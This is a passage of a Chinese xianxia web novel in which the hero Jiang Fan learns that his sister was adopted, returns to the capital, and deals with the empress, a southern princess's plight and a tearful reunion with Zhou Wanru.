影老躬身领命,身影如雾气般散去,执行命令。
夏侯尊重新坐回王座,望向殿外云海的目光充满了势在必得的野心与狰狞。
“江凡…‘平凡’…希望你不要成为本座大道上的绊脚石。若那‘玄阴灵体’真的与你有关…
哼,那便是老天都要将你,连同你在意的一切,都送到本座手中,作为本座登临绝巅的踏脚石!”
……
北境,镇北关。
三日时间,转瞬即逝。
这三日里,北境局势发生了天翻地覆的变化。
北莽大军主力**凡一人击溃,又被镇北军衔尾追杀数十里,死伤惨重,粮草辎重丢弃无数,
征南大元帅拓跋雄仅率数千残兵败将逃回漠北,据说回去后就被北莽皇帝下狱问罪。
北莽朝野震动,求和使者已在上路。
至少十年之内,北境可保无虞。
而**凡以雷霆手段连灭四门的消息,更是席卷了整个北境乃至周边区域的江湖。
所有势力噤若寒蝉,曾经与那四派有过往来、甚至暗中有些心思的,无不是提心吊胆,纷纷主动向镇北军示好,撇清关系。
边关的治安,一时间好到了前所未有的程度。
江撼岳的伤势在江凡留下的丹药调养下,已然痊愈,甚至因祸得福,修为隐隐有精进之势。
他每日忙于整顿防务,安置俘虏,接收北莽求和使者的事宜,虽繁忙,却是精神矍铄,脸上时常带着笑意。
江凡这三天也没闲着。
他坐镇镇北关,神识时常笼罩四方,既是防备可能狗急跳墙的报复,也是进一步稳固人心。
期间,他还抽空将系统空间中一些适合军用的、不太超出时代的简易图纸交给父亲,希望能进一步提升边军实力。
同时,他也暗中观察,发现正如自己所料,武神殿在明面上没有任何后续动作,甚至连之前那种暗中的窥探都少了许多。
这让他心中稍定,看来自己那一番狠辣手段和强硬警告,确实起到了效果,至少让武神殿暂时投鼠忌器。
或者说,有更重要的事情牵制了他们。
时机已到,是该回京城了。
那里,有他牵挂的人,也有更多需要他面对和解决的事情。
第四日清晨,镇北关帅府书房。
“爹,北境局势已稳,武神殿暂时偃旗息鼓。京城那边,陛下独撑朝局,我需得回去了。”
江凡对正在查看地图的江撼岳说道。
江撼岳从地图上抬起头,看着眼前这个已然成长为参天大树、能为自己、为家族、为国家遮风挡雨的儿子,心中感慨万千。
他走上前,用力拍了拍江凡结实的肩膀,虎目之中满是欣慰与骄傲:
“好!回去好!男儿志在四方,但家国不可偏废。京城是中枢,陛下更需要你。如
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今你身份不同,既是帝君,又是逍遥公子,肩上的担子更重。
凡事,多思量,但也无需过分畏首畏尾。我江家的儿郎,不惹事,但也绝不怕事!”
“儿子明白。”江凡郑重点头。
江撼岳看着他,犹豫了一下,还是开口道:
“凡儿,你与陛下之事,为父不反对,陛下是难得的明君,对你也情深义重。还有周家那丫头,婉如那孩子,温婉贤淑,对你也是一片痴心…
你要妥善处理,莫要辜负了她们任何一人。感情之事,贵在真诚,贵在担当。”
说到后来,这位在战场上叱咤风云的老将,语气也变得有些复杂和温和。
儿子太出色,招惹的情债似乎也不少,但这终究是儿子的私事,他只能提点,无法干涉。
江凡脸上微热,认真道:
“爹放心,我会处理好的。绝不会做那负心薄幸之人。”
“嗯,你办事,爹放心。”
江撼岳笑了笑,又叮嘱了些朝堂上需要注意的事项,以及回去后代他向女帝问安等话语。
正事说完,江凡便准备告辞离去。
“凡儿。”
身后,江撼岳的声音再次响起,语气有些复杂。
江凡回身,看到父亲站在书案旁,没有看他。
而是望着窗外一株在边关寒风中依旧挺立的青松,侧脸在晨光中显得有些肃穆,甚至…带着一丝罕见的忐忑。
“爹?”江凡走回几步,心中那丝异样感更重了。
江撼岳缓缓转过身,目光落在江凡脸上,目光凝重。
他指了指旁边的椅子:
“坐下说。此事…关乎芷兰,也关乎你。”
江凡依言坐下,心中念头飞转,不知道老爹想说什么。
看到江凡坐下,江撼岳的声音很慢,眼神充满回忆,
“爹藏在心里,二十二年了。以前不说,是怕你年幼,担不住事,也怕…给芷兰招来祸患。
如今,你长大了,有本事了,是顶天立地的男子汉,更是我大夏的帝君。爹思来想去,这事,必须告诉你...”
第259章 咱是一家人
江凡心头骤然一紧,连忙问道:
“爹,您别吓我,有什么就直接说吧!”
江撼岳没有回答,而且他走到书案后,打开暗格最底层,拿出一个半旧的兰草香囊。
他眼神悠远的开始讲述,声音低沉。
“这香囊,是你林伯母,芷兰生母留下的唯一物件。”
“什么意思?姐姐的生母?她...”
“没错,她不是你亲姐姐!”
江撼岳的声音低沉,带着追忆的沙哑,
“你林伯伯,林啸天,是为父这辈子,唯一能托付性命、也将性命托付于我的兄弟。”
“二十多年前,断魂岭一役,惨烈无比。为父身陷绝境,是啸天,带着他仅剩的三百亲卫杀透重围,将我从**堆里背了出来。他自己,却为了断后,被北莽的箭雨…”
他哽了一下,虎目泛红,
“他倒在我怀里时,浑身是血,几乎成了个血人,却还死死抓着我的手,眼睛望着南边的方向,断断续续地说…‘大哥…弟怕是…不行了…我媳妇…快生了…孩子…拜托…’话没说完,人就…”
书房内一片寂静,只有江撼岳粗重的呼吸声。
江凡屏息听着,能感受到父亲心中那沉淀了多年的悲痛与沉重。
“后来,我们惨胜。战争结束我第一时间派人赶往啸天老家,得到的却是另一个噩耗。”
江撼岳闭了闭眼,“啸天的妻子,听闻丈夫战死,悲痛惊厥,导致难产…拼死生下一个女婴后,便撒手人寰。只留下这刚出生的孩子,和一对痛失独子又失去儿媳、几近崩溃的老人。”
他将香囊放在桌上,推向江凡:
“那女婴,就是芷兰。我赶到时,她瘦瘦小小,哭得声嘶力竭。看着她,我就想起啸天临死的眼神,想起他未说完的嘱托。
我江撼岳一生,上无愧于天,下无愧于地,唯独亏欠啸天,这辈子都还不清!我怎能让他唯一的骨血,流落在外,孤苦无依?”
“所以,您将姐姐抱了回来,对外宣称是母亲所生,养在外祖家。”
江凡接口道,声音有些干涩。
从原主的记忆中得知,姐姐小时候从外祖母家接回来的。
他之前从父亲凝重的神色中已有预感,但亲耳听到,冲击依旧不小。
“是。”江撼岳点头,目光灼灼地看着江凡,
“此事,只有我、你母亲,以及你早已过世的外祖父母知晓。就连你,我们一直瞒着。
一来,你年幼时性子跳脱,怕你不知轻重说漏了嘴,对芷兰成长不利。二来…”
他顿了顿,语气变得更加复杂,
“为父…其实曾有过私心。”
“私心?”江凡心中一动。
江撼岳叹了口气,走到窗边,背对着江凡,声音带着一丝苦涩:
“啸天临终托孤,我视芷兰如己出,甚至比对你更加小心翼翼,倾注了加倍的心血,只盼她能平安喜乐,一生顺遂。
看着她一天天长大,出落得亭玉温婉,知书达理,性子更是像极了她娘亲,温柔坚韧。我心里…是又欣慰,又矛盾。”
他转过身,目光直视江凡,终于说出了那句压在心底多年的话:
“为父曾想过,若是…若是你能成器,稳重可靠,待芷兰好。将来,将芷兰许配给你,亲上加亲,让她名正言顺、一辈子都留在江家,做我江撼岳的儿媳,继续被我们捧在手心里呵护着。
如此,既能全了我和啸天的兄弟之情,让你替我继续照顾他唯一的血脉,也能让芷兰有个最好的归宿,不必嫁去别家受可能的委屈。这或许…是对啸天最好的交代。”
江凡心中剧震!
父亲竟然…曾有过这样的念头?
将姐姐许配给自己?
虽然知道了并非血亲,但这突如其来的信息,还是让他心湖泛起巨大波澜。
他脑海中瞬间闪过江芷兰温柔浅笑的模样,闪过她为自己缝补衣物、叮嘱添饭、担忧挂怀的点点滴滴…
那些原本纯粹的手足之情,此刻似乎被注入了一丝别样的、微妙的涟漪。
“可是,”江撼岳话锋一转,脸上露出苦笑与自责,
“你之前的模样…你自己也清楚。顽劣不堪,不思进取,流连花丛。我如何敢将芷兰交给你?那岂不是将她推入火坑,
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更对不起九泉之下的啸天夫妇?
所以这个念头,我只敢深埋心底,从未对任何人提起,连你母亲也未透露。我只能加倍对芷兰好,想着将来为她寻一门最稳妥、最尊贵的亲事,保她一世荣华安稳。”
他走到江凡面前,双手按在他的肩膀上,力道很重,目光充满了恳切与复杂:
“凡儿,爹告诉你这些,不是要你如何,更不是要逼你做什么选择。你如今已然脱胎换骨,成了顶天立地的男子汉。
更是大夏的帝君,陛下的夫君。你与陛下情深义重,爹为你高兴。芷兰的身世,你有权知道。而她…”
江撼岳的声音低沉下去,带着一丝心疼与无奈:
“芷兰那孩子,心思剔透。她其实…很早就隐约察觉到自己身世有异。可她从未点破,也从未因此生分,反而对你,对我更加敬爱体贴,懂事得让人心疼。她将这里,当成了她唯一的、真正的家。”
“还有一事,”江撼岳看着江凡的眼睛,缓缓道,
“这段日子,‘逍遥公子’之名传遍天下。芷兰她…虽在深闺,却也听闻了许多。她似乎…对那位神秘强大、屡次拯救大夏、守护陛下的‘逍遥公子’,颇为仰慕钦佩。言谈之间,时常问起,眼中…有光。”
江凡身体微微一僵。
姐姐她…喜欢‘逍遥公子’?
那个她一直以为是外人的、神秘强大的存在?
仔细想想也是,逍遥公子才华横溢,修为绝顶,很多女人都会仰慕。
只是这次自己离开太匆忙,连告别都来不及就匆匆赶到北境。
当姐姐得知逍遥公子就是自己朝夕相处多年的弟弟后,心情会多复杂?
这些信息让江凡一时之间无法消化。
“爹告诉你这些,只是希望你能明白。”
江撼岳松开了手,后退一步,
“芷兰是个好孩子,她的身世,她的心意,都颇为不易。如今你已知晓一切,将来如何与她相处,都由你自己决断。”
“爹,我知道了,一切顺其自然吧。”
江凡现在也不敢做出任何答复,他需要一些时间消化。
第260章 跪下来求你
江撼岳微微点头,然后深吸一口气说道:
“本来这件事情为父想一直隐瞒下去,也曾经试探给你姐姐说一门亲事。可你姐姐每次都拒绝,以前是你不成器,我又经常不在家里。”
江撼岳眼中露出一些自责,
“芷兰她说要等你成亲之后再考虑,所以后来我才开始给你张罗亲事,选到周大人的女儿。”
“我来北境之前,发现芷兰在疯狂收集《深宫秘恋》的话本,得知你是‘逍遥公子’的徒弟之后,还多次向我旁敲侧击打听‘逍遥公子’的事情。”
江凡听到这里,也感觉尴尬,只能挠挠头说道:
“爹,我不是故意隐瞒你们的...”
“爹没有怪你的意思!”江撼岳的语气缓和,
“我是要你明白,芷兰她早就过了婚配了年纪。这段时间对逍遥公子十分迷恋,突然发现逍遥公子居然是你这个臭小子,对她的打击应该很大。”
“这...我也不是故意的...”
江凡挠挠头,事情的确有些复杂。
江撼岳拍了拍江凡的肩膀继续道:
“这些不重要,我只是告诉你真相。你回去看看芷兰的意思,如果她只是把你当成弟弟,那你照顾好她,等我回去给她张罗一门合适的亲事。
若她的确对你‘逍遥公子’有意,爹会公布她是林兄弟遗孤的事情,让你们能名正言顺的在一起,让芷兰永远留在咱们家。”
“我明白了…”
江凡点点头,的确要先看看姐姐的意思。
只是这事儿他也不知道怎么开口,只能走一步算一步。
江撼岳说完私事,又神色凝重的说道:
“你回去之后不用担心我,武神殿被你震慑,短时间内应该不敢对我动手。若有特殊情况,你照顾好陛下和你姐姐她们,不用担心为父...”
“这怎么行?你们都是我的亲人。”
江凡有些着急,他明白父亲的意思,如果武神殿开始对他身边的人下手,江撼岳的确是首当其冲。
不管是为了将他引开,还是为了报复他。
而武神殿真敢这样做的话,那江凡觉得自己肯定会入魔,将所有跟武神殿相关的人全部屠尽!
看到江凡眼中的杀机,江撼岳安抚道:
“我说的是最恶劣的情况,你可不要冲动。爹这条命,早就想跟随你娘亲一起去的。一方面是为了你和芷兰,另一方面也是为了大夏的江山。
所以为父早就将生死置之度外,你万万不可冲动。真有什么紧急情况,你一定要照顾好自己的女人。爹当年就是没照顾好你母亲才...”
说到这里,江撼岳的眼睛已经红了。
虽然在儿子面前露出脆弱的一面有些丢人,但他已经不在乎了。
要是江凡跟以前一样不成器,他当然要表现得足够铁血,因为他是顶梁柱。
而现在,国公府有了更强的顶梁柱,他也没必要硬撑。
江凡的鼻子也有些发酸,只能转移话题说道:
“咱们不说这个,我再给您留些丹药,爹您这次因祸得福,或许能冲击极道宗师,到时候寿命增加到两百岁,说不到还能找几个胸**大的...嗷~”
他话没说完,江撼岳已经一巴掌拍在他脑门上。
“臭小子,你胡说八道什么呢?爹这辈子只喜欢你母亲一人,以后江家开枝散叶的事情,就全靠你了。”
“咳咳...”
江凡吐了吐舌头,虽然被老爹拍了一巴掌,但总算转移了他的悲伤。
他假装在身上摸索,很快拿出几个瓷瓶递过去说道:
“爹,这些丹药您拿着,尽量提升修为,我怀疑武神殿不会善罢甘休。”
听到江凡的话,江撼岳稍微迟疑,还是接过丹药,然后才说道:
“这次为父就收下了,但下次不要给我了。寿命对我来说是一种煎熬,而且爹知道,你拿出这些丹药一定会付出某些代价,你只要照顾好自己的女人就行。”
“没事的爹,这点代价没关系...”
江凡话没说完,江撼岳已经吹胡子瞪眼骂了起来:
“你小子是不是觉得自己能随便击杀陆地神仙,就可以不听爹的话了
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?信不信爹跪下来求你?”
“别别...”
江凡顿时一脸黑线,老爹什么时候这么无耻了。
这是一个国公爷能说出的话吗?
看到江凡认怂,江撼岳这才满意的点头:
“这才对嘛!时间不早了,你尽快出发吧,别让陛下他们担心。”
“好,那爹您好好休息,孩儿告辞。如果遇到强敌千万不要硬拼...”
“行了,爹都知道,快走吧。”
江撼岳摆摆手,一脸嫌弃的样子。
但江凡敏锐的察觉到了父亲眼中的不舍,心中也有些酸楚。
如果没有战争,父亲也不用这么辛苦了。
等回到皇城,一定要让萧璇月狠狠敲诈北莽的人,最好让他们几十年都没有作乱的能力。
实在不行的话,自己也不介意摸进北莽,将他们的皇室和高级官员来个斩首行动。
“爹,您多保重,孩子走了!”
江凡说完转过身,缓缓走了出去。
一路上,看到他的军民全部行礼,远处的人也都露出崇敬的目光。
如今他这位帝君是大夏的守护神,所有人崇拜的英雄。
虽然一心想当咸鱼,但看着那一双双热切的眼神,江凡心中还是有些成就感。
哼!武神殿又如何?
有本事直接找到自己,看看你们厉害,还是我的无敌领域更胜一筹!
这种超然物外的超级大势力突然偃旗息鼓,让他心中有些隐隐的不安,总觉得对方似乎在酝酿什么大招。
算了,等回去后到百花楼找柳絮探查一下口风。
想到柳絮,江凡不禁露出苦笑,貌似欠了柳絮不少人情了,以后该怎么还啊!
债多了不愁,还是回去再说。
思索间,他已经出了城。
他看向系统空间,这几天累积到八千多万的积分。
“陆地神仙初期,五千万人气值?不错,先把修为提升到陆地神仙,以后除非打不过,否则体验卡都不需要了...”
想到这,他立即对系统下令:
“系统,提升修为!”
第261章 南疆的蹊跷
【成功消耗五千万人气值,实力提升至陆地神仙初期...】
感受到修为大幅提升,气息也达到返璞归真的地步,江凡并没有任何激动。
武神殿能有如今的超然地位,而之前遇到的陆地神仙都是外围成员,显然还有更厉害的高手。
现在的实力,还是不够!
他看向下一个境界,需要一个亿人气值,差点没喷出一口老血。
“系统,你也太黑了!”
虽然现在人气值提升很快,但他还准备多兑换点物资改善大夏的民生和军事。
没想到下一个境界就需要翻一倍人气,尽管现在的积累速度很快,但也让他感觉郁闷。
系统没有任何回复,他只能加快速度赶路。
短短半日,他终于返回大夏皇城。
沿途警戒的御林军与暗处供奉看到他,都十分激动与敬畏。
江凡可是大夏的定海神针和守护神,连武神殿都不放在眼里的存在。
只要有他在,任何敌人和困难都不怕!
江凡神识微扫,便捕捉到了萧璇月的气息——正在御书房。
他身形一晃,下一瞬,已悄无声息地出现在了御书房的门外。
侍立的宫女太监只觉眼前一花,仿佛有微风拂过,定睛再看时,那道熟悉的身影已立在门前。
刚刚推开门,就看到萧璇月正在发呆。
听到动静,她转头看来,两人四目相对,万千言语堵在喉间。
她眼中瞬间涌起的水光,一声带着哽咽的轻唤:
“夫君…你回来了。”
“嗯,回来了。”
江凡一步跨入,反手带上房门。
他刚想说什么,萧璇月已扑进了他怀中,双臂紧紧环住他的腰身。
小别胜新婚,虽然知道以江凡的实力不会有事,但还是十分担心。
现在看到江凡安然无恙,她心中的激动可想而知。
“臭夫君,离开几日也不说给我写封书信。”
“咳咳,是为夫的错...”
江凡有些尴尬,就离开几日,至于吗?
但这话可不敢说,只能先认错。
他轻轻拥住萧璇月,能感受到怀中娇躯微微的颤抖。
她是女帝,需在臣民面前保持镇定威严,可在他面前,她只是他的月儿,会害怕,会牵挂。
“北境的事…我都听说了。”
萧璇月在他怀中,似乎很享受这种温暖的怀抱,
“一人破军,连斩强敌,逼和北莽…还有,一日灭四门…”
她抬起头,眼中水光未退,却已满是骄傲与心疼,
“有没有受伤?有没有遇到危险?武神殿的人…会善罢甘休吗?”
“放心,一点小伤都没有。”江凡握住她的手,微笑道,
“武神殿派了两个长老,一死一废。短时间內,他们应该不敢再明目张胆了。”
他轻描淡写地带过了那惊心动魄的战斗,不愿她多担忧。
萧璇月却从他平静的语气中听出了背后的凶险,也看到他眼神中那一丝忧虑。
陆地神仙级别的战斗,哪有这么轻松?
但他安然归来,便是最好。
她不再追问细节,忽然想起什么,稍稍退开一些,仰着脸看他,故意板起脸道:
“北境的威风是耍够了,可家里的事儿,江大帝君打算如何交代啊?”
“家里…的事?”
江凡心头一跳,脸上一副不懂的样子。
“还装傻?”萧璇月伸出纤纤玉指,不轻不重地戳了戳他的胸口,哼道,
“周妹妹可是日日陪着朕说话,那眉宇间的忧思与期盼,朕看了都心疼。还有你姐姐芷兰,担忧之情溢于言表,人都清减了些。你倒好,一回来就先钻到朕这儿,也不怕她们埋怨?”
江凡脸上顿时露出尴尬之色,摸了摸鼻子:
“这个…我正打算去见她们。月儿,周姑娘和我姐姐知道我是逍遥公子后,有什么反应?有没有生气瞒着她们?”
“生气?”萧璇月白了他一眼,却又忍不住噗嗤一笑,
“周妹妹性子最是温婉,岂会真生你的气?她只是担心你,也…也有些忐忑罢了。毕竟,某人现在可是名震天下的逍遥帝君,身边又有了朕这个‘悍妇’,她心里没底,也是常情。”
“什么悍妇,胡说。”
江凡连忙抱住她,在她耳边低语,
“我的月儿是天下最明理
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、最大度、最美的女帝,也是最好的妻子。”
甜言蜜语让萧璇月脸颊微红,心里受用,却还是轻轻推了他一下:
“少贫嘴。朕已与她谈过,她…是个通透的好女子,对你情深义重。朕既应允了你,便不会让她难堪。
不过,终究需你亲自去与她分说清楚,给她一个安心。朕可不想日后落下个‘善妒不容人’的名声。”
“是是是,夫人英明,为夫等会就去。”
江凡从善如流,心中对萧璇月的通情达理更是感念。
看着眼前绝美的夫人,心中不禁有些痒痒,于是伸出手一边占便宜一边问道:
“夫人,这几日有没有想为夫...”
“哎呀~”
萧璇月惊呼一声,随后翻了个风情万种的白眼:
“别闹,大白天的,快去找周妹妹和你姐姐吧!你身份曝光后还没跟她们见过吧?最好想清楚怎么跟她们解释...”
江凡只能悻悻收回手:“好吧。不过在去之前,月儿,朝中近日可还有异动?”
他虽然归心似箭,但国事与潜在的危机不容忽视。
提到正事,萧璇月神色也肃然起来,缓缓道:
“朝中经过你北境大胜的消息震慑,加上‘内阁’之议已初步推行,几位老臣得力,目前还算平稳。倒是南疆那边,前几日传来急报,确实有些蹊跷。”
她蹙起秀眉:“安国公奏报,南蛮军中亦疑似混入不明身份的江湖高手,意图行刺或制造混乱。
其中几人武功路数,与你在北境遭遇的‘五毒教’、‘血煞门’余孽颇有相似之处,很可能亦是受武神殿暗中指使。不过…”
她顿了顿,眼中露出一丝奇异之色:
“就在对方即将得手之际,突然有几名身份不明、但武功极高的黑衣人出现,悍然出手,将那些刺客击退。
双方激战一场,各有损伤,但刺客一方的图谋被彻底挫败。安国公趁势反击,南蛮攻势受挫,目前战线暂时稳定。”
“黑衣人?”江凡心中一动,“可查明来历?”
萧璇月看着他,眼神变得有些玩味,轻轻吐出三个字:
“塔娜公主。”
第262章 不许欺负她
“塔娜?!”
江凡手一抖,杯中茶水险些溅出,脸上满是愕然。
怎么又是她?
“看来江大公子很惊讶?”
萧璇月微微眯起凤眸,语气听不出喜怒,
“据密探最新传回的消息,那些黑衣人,确实是塔娜公主麾下最神秘、也最忠诚的‘影卫’,只听命于她一人。
而且,塔娜似乎早就察觉了军中的异常,一直暗中提防。此次出手,等于是公然违逆了她父王与大祭司的意志,破坏了武神殿可能的布局。”
她身体微微前倾,目光灼灼地盯着江凡有些闪躲的眼睛:
“更麻烦的是,此事似乎已经泄露。南蛮国**怒非常,认为塔娜吃里扒外,坏了他的大事。据闻,已下严令要将塔娜公主强行扣押。不日便送往‘巫神山’,嫁给年近两百岁的大祭司,以示惩戒。”
江凡听得头皮发麻。
塔娜…那个热情如火、敢爱敢恨的南疆公主,竟然为他做到了这一步?
不惜违抗父命,动用自己的私人力量破坏武神殿的阴谋,甚至因此要面临被嫁给糟老头子的命运?
“现在知道头疼了?”
萧璇月看着他变幻不定的脸色,轻轻哼了一声。
忽然伸出两根手指,掐住了他腰间的软肉,微微用力一拧!
“嘶——月儿,疼!”
江凡倒吸一口凉气,却不敢运功抵抗。
“疼?疼就对了!”
萧璇月美目圆睁,带着三分嗔怒七分审问,
“你之前不是信誓旦旦,说与那塔娜公主清清白白,毫无瓜葛吗?那她现在为何要为你做到如此地步?
甚至连公主之位和自身幸福都不顾了?江凡,你今天不给朕说清楚,休想踏出这御书房半步!”
江凡知道瞒不过去了,他只能苦笑着,将当初在南疆,如何‘不小心’撞见塔娜在河中沐浴,如何被她识破‘逍遥公子’身份等事,一五一十地说了出来。
当然,略过了某些过于香艳的细节和塔娜那些大胆直白的言辞。
“…事情就是这样。我当时真的只是无心之失,后来也明确拒绝了她。我以为事情已经过去了,谁知道她…”
江凡摊手,一脸无奈与无辜。
萧璇月听完,沉默了片刻,脸上的怒色渐渐消去,换上一丝恍然和钦佩。
“原来如此…难怪。”
她松开掐着江凡的手,轻轻揉了揉眉心,
“难怪塔娜上次作为特使,突然违反跟靖王的约定,想跟你联姻。她竟是从那时就知道了你的**…而且,她一直替你隐瞒了下来,连她父王都未告知。”
萧璇月看向江凡,目光深邃:
“若她早点将你就是逍遥公子,且是镇国公世子的事告知南蛮国王,以南蛮王贪利短视又迷信强者的性子,恐怕非但不会逼她嫁与大祭司。
反而会千方百计促成她与你的联姻,哪怕只是做个侧妃,以此攀附上你这棵大树,甚至借此与武神殿周旋。
可她没说…她宁愿自己承受压力,宁愿被你拒绝后依旧默默关注,甚至在关键时刻,不惜背叛自己的国家和父亲,也要出手帮你,破坏武神殿的阴谋…”
她叹了口气,语气中带上了罕见的柔软与无奈:
“这塔娜公主,倒是个痴情又烈性的奇女子。她为你,算是倾尽所有了。”
江凡听着萧璇月的分析,心中亦是震动不已。
他之前只觉塔娜热情主动,甚至带着目的,有些难缠,却未曾深想她背后承受的压力与付出的代价。
如今想来,她贵为公主,却因一次意外邂逅。
无论之后想跟自己交往是不是带着目的,但能为他做到这一步,并且没有派任何人找他求救,已经足以说明心意。
这份情意,确实沉重得让他无法再视而不见。
“月儿,我…”
江凡张了张嘴,却不知该说什么。
道歉?显得虚伪。
承诺?他已有萧璇月和周婉如。
不管不顾?那他还是人吗?
看着江凡脸上罕见的无措与愧疚,萧璇月心中最后一丝醋意也消散了。
她伸出手,轻轻抚平他微皱的眉头,声音柔和却坚定:
“好了,朕不是那等不通情理、只知争风吃醋的妇人。塔娜为你做到这一步,于公于私,我们都不可坐视她落入火坑。
那大祭司在南蛮地位尊崇却神
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秘阴毒,传闻修炼邪术,塔娜若嫁过去,此生便毁了。
而且,她既然已为了你得罪武神殿,武神殿岂会放过她?恐怕人还未到巫神山,就会遭遇‘意外’。”
她站起身,走到窗边,望着南方天际,决断道:
“你去一趟南疆吧。不是以朝廷使节的名义,就以你‘逍遥公子’的身份。去见塔娜,问问她的意思。
若她愿意…放弃南疆公主的身份与荣华,随你离开,隐姓埋名,朕…朕与周妹妹,可以容她。”
江凡浑身一震,猛地抬头看向萧璇月,眼中充满了感动与愧疚:
“月儿!你…我…”
萧璇月回身,走到他面前,伸出食指轻轻点在他的唇上,阻止了他后面的话。
她脸上带着淡淡的笑意,眼中却带着认真与一丝警告:
“别高兴太早,朕说的是‘可以容她’,不是让你见一个爱一个!这是最后一次了,江凡。
朕的忍耐也是有限度的。你若再敢在外边招惹些有的没的,看朕不…不让你睡三个月书房!”
明明是威胁,语气却带着娇嗔。
江凡心中暖流汹涌,一把将眼前这个为他承受了太多、也包容了太多的女子紧紧拥入怀中,在她耳边郑重承诺:
“月儿,谢谢你。我江凡此生,定不负你。塔娜之事,我会妥善处理,绝不会让你和周姑娘为难。这是最后一个,我保证。”
只是想起姐姐,他说完又有些心虚。
“哼,记住你说的话。”
萧璇月在他怀里轻轻蹭了蹭,感受着他有力的心跳,心中那点酸涩也化为了释然。
她既然选择了他,便要接受他的全部,包括他那莫名吸引桃花的体质。
只要他心里最重要的位置永远是她,只要他不欺她,不瞒她,她便愿意为他,撑起这片后宫的天空。
两人静静相拥片刻,温情脉脉。
直到萧璇月忽然想起什么,轻轻推开他,脸上飞起一抹红霞,低声道:
“好了,正事说完了。你快去御花园吧,周妹妹和芷兰姐姐想必已经收到你回来的消息,在等着了。尤其是周妹妹,你可要好好跟人家说,不许欺负她。”
第263章 给你们瞧瞧
“遵命,夫人。”
江凡笑着在萧璇月唇上飞快地啄了一下,在她的轻嗔薄怒中,心情却莫名轻快了不少。
有了萧璇月的理解与支持,面对周婉如和姐姐,他似乎也有了更多的底气。
离开御书房,江凡深吸一口气,朝着御花园的方向走去。
刚踏入御花园月亮门,便听到一阵轻柔的琴声传来,如泣如诉,又如清泉流淌,带着淡淡的忧思与期盼。
琴声来自湖畔的八角水榭。
水榭中,两个倩影相对而坐。
一着淡雅鹅黄衣裙,气质温婉如水,纤指正轻拨琴弦,正是周婉如。
另一人身穿月白绣兰长裙,外罩浅碧比甲,发髻轻绾,只插一支简单的白玉簪,正托腮听着琴音,眉眼间笼着一层轻愁,正是江芷兰。
石桌上摆着几样精致的点心和一壶清茶。
云暮侍立在水榭外,看到江凡走来,眼中闪过一丝欣喜,连忙无声地福了一礼,悄然退开些许。
琴声在江凡走近时微微一顿,随即继续流淌,只是那其中的忧思似乎淡了些,多了几分不易察觉的颤音。
江凡放轻脚步,走到水榭入口。
琴声恰在此时袅袅收尾,余韵悠长。
周婉如抬起头,看到站在那里的江凡,指尖微微一颤,按在了琴弦上,发出一声轻微的杂音。
她慌忙收回手,站起身,盈盈福礼,声音轻柔却带着颤抖:
“世…世子,您…您回来了。”
她不敢直视他,目光低垂,看着自己裙摆上的花纹。
本来就有些自卑,知道江凡跟女帝的关系,并且成为大夏守护神之后,周婉如见到江凡就更加忐忑。
江凡大步上前,在周婉如惊讶抬眸的瞬间,手臂微微用力,将她整个人轻轻地带入了自己怀中。
“嗯,我回来了,婉如。”
他低声说,声音是只有她能听到的温柔。
怀抱温暖而坚实,奇异地让她连日来悬在半空、无处着落的心,瞬间找到了归处。
周婉如的身体先是一僵,随即像是被抽走了所有力气,软软地靠在他胸前。
熟悉的气息包裹着她,耳边是他沉稳有力的心跳。
多日的担忧、思念、自我怀疑、身份未明的惶恐…所有压抑的情绪汹涌而出。
她再顾不得什么礼仪矜持,伸出双臂,紧紧地回抱住他的腰身,泪水瞬间润湿了他的衣襟。
她没有放声大哭,只是肩膀微微耸动,发出压抑的呜咽。
“对、对不起…世子…我…我只是…太高兴了…”
她语无伦次,想解释自己的失态,眼泪却流得更凶。
“该说对不起的是我。”
江凡一手环着她的纤腰,另一只手轻轻拍抚着她的背,
“是我不好,让你担惊受怕这么久,走的时候匆忙也没来得及告别...以后不会了。”
周婉如在他怀中摇头,哽咽道:
“不,世子是做大事情的人,婉如明白。只是…只是如今世子是逍遥公子,是帝君,是顶天立地的大英雄…
婉如…婉如只是普通臣女,蒲柳之姿,又身有顽疾…实在…实在配不上世子…”
她越说声音越低,自卑之情溢于言表。
这是她心底最深的刺,尤其是在知晓江凡那惊世骇俗的**后,这根刺扎得更深了。
江凡稍稍退开一些,双手捧起她泪痕斑驳的小脸,迫使她看着自己的眼睛,目光坚定:
“傻瓜,谁说你配不上?在我眼里,你就是最好的婉如。温柔,善良,懂事,知我,懂我。你的心疾…不是已经好了吗?”
周婉如泪眼朦胧地看着他,随后有些激动的说道:
“世子,我就知道,是你治好我的心疾对不对?”
那是改变她命运的一天,国公府世子纨绔之名在外,她本来只是应付爹爹跟江凡见一面。
却在那次会面时心悸骤发,突然晕厥。
结果后来回去,太医检查后说基本治愈了,只需好好调养就能恢复。
她早就怀疑是江凡的手段,得知他就是逍遥公子之后,基本能确定自己怀疑没错。
“是,我治好的。”
江凡没有隐瞒,坦然道,
“你就是你,是让我心疼,让我想要保护的周婉如。这与我是谁,无关。”
从周婉如那晚想为他留下一个血脉开始,他就知道自己不能辜
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负这个傻女人。
这番话如同暖流,注入周婉如的心田。
她痴痴地望着江凡,仿佛要将他此刻认真的模样刻进灵魂深处。
良久,她才破涕为笑,用力点头:
“嗯!婉如的命是世子救的,婉如…就是世子的人。婉如不求世子时时记挂,只求…只求世子偶尔闲暇时,能想起还有婉如这么个人,在等着你,念着你,便心满意足了。”
她说得如此卑微,如此小心翼翼,让江凡心中又是一痛。
他收紧手臂,将她重新拥入怀中,在她耳边郑重低语:
“婉如,你听好。在我心里,你和璇月,是一样的。都是我愿意用生命去守护、去珍惜的人。
或许给不了你皇后那般天下独尊的名分,但该给你的真心、尊重、爱护,一样都不会少。以后,不准再妄自菲薄,知道吗?”
“世子…”
周婉如闻言,心头巨震,泪水再次涌出,这是喜悦与幸福的泪水。
她紧紧回抱住他,在他怀中连连点头,哽咽得说不出完整的话,只反复呢喃:
“婉如知道了…婉如知道了…谢谢世子…谢谢…”
两人静静相拥,水榭内温情流淌,连空气都仿佛变得甜软。
“咳。”
一声不轻不重的咳嗽声在旁边响起,带着明显的戏谑与调侃,
“你们两个,当姐姐我是透明的不成?这光天化日的,搂搂抱抱,也不害臊?”
江芷兰不知何时已站了起来,斜倚着水榭的朱红柱子,双手抱胸,脸上带着促狭的笑意看着他们。
只是那笑意并未完全抵达眼底深处,仔细看去,能发现一丝复杂与…淡淡的落寞。
看到弟弟与别的女子如此亲密无间,即便这女子是她同样怜惜的周婉如,心中某个角落,依旧会泛起一丝酸涩。
但她很快将这股情绪压了下去,笑容变得更加自然。
